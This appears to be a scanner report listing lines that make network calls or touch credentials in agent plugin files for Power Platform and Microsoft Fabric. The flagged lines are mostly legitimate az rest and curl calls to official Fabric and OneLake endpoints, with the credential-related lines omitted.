"name": "Awesome Copilot Community" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/README.md
- Network accessline 1
# Power Platform Architect Plugin  - Network accessline 2
 - Network accessline 13
[](https://youtu.be/tn4jEpZ6jiw) - Network accessline 26
3. **Component Recommendation** — Selects only the Power Platform components that serve a real purpose in the solution and explains the role each one plays. It follows a built-in decision framework (e.g., external access → Power Pages, data - Network accessline 28
5. **Architecture Diagram (Optional)** — On request, generates a Mermaid.js diagram visualizing the architecture, saves it to a `.md` file, and directs the user to [mermaid.ai/live/edit](https://mermaid.ai/live/edit) to render it. - Network accessline 32
 - Network accessline 41
## Example Output Architecture Diagram (rendered in [mermaid](https://mermaid.js.org/)) - Network accessline 42
 - Network accessline 162
## Source Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft. - Network accessline 163
Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 16
"name": "Tim Hanewich" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 17
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 18
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect/SKILL.md
- Network accessline 33
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 34
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 35
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 61
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 63
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 121
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 122
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 123
- `https://mermaid.ai/live/edit` - Network accessline 159
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 161
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 175
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 176
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/README.md
- Network accessline 29
This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 7
"name": "Awesome Copilot Community" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 5
"version": "0.3.12", "license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 5
"version": "0.3.12", "license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 6
"license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", "keywords": [ - Network accessline 6
"license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", "keywords": [ - Network accessline 7
"repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 7
"repository": "https://github.com/microsoft/skills-for-fabric",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.github/plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json-schema.org/draft-07/schema", - Network accessline 2
"$schema": "https://json-schema.org/draft-07/schema", - Network accessline 5
"version": "0.3.12", "license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 6
"license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", "keywords": [ - Network accessline 7
"repository": "https://github.com/microsoft/skills-for-fabric",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CLI.md
- Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 238
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 458
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 484
[Credential-related source omitted] - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 511
[Credential-related source omitted] - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Access to secretsline 513
[Credential-related source omitted] - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 857
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CORE.md
- Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 94
